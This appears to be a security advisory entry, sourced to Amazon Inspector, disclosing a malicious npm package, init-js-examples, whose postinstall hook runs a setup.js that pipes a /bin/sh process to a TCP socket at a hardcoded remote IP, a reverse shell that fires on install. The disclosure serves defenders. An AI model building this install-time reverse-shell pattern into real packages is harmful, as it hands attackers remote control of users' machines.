취약점

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Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2)

The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.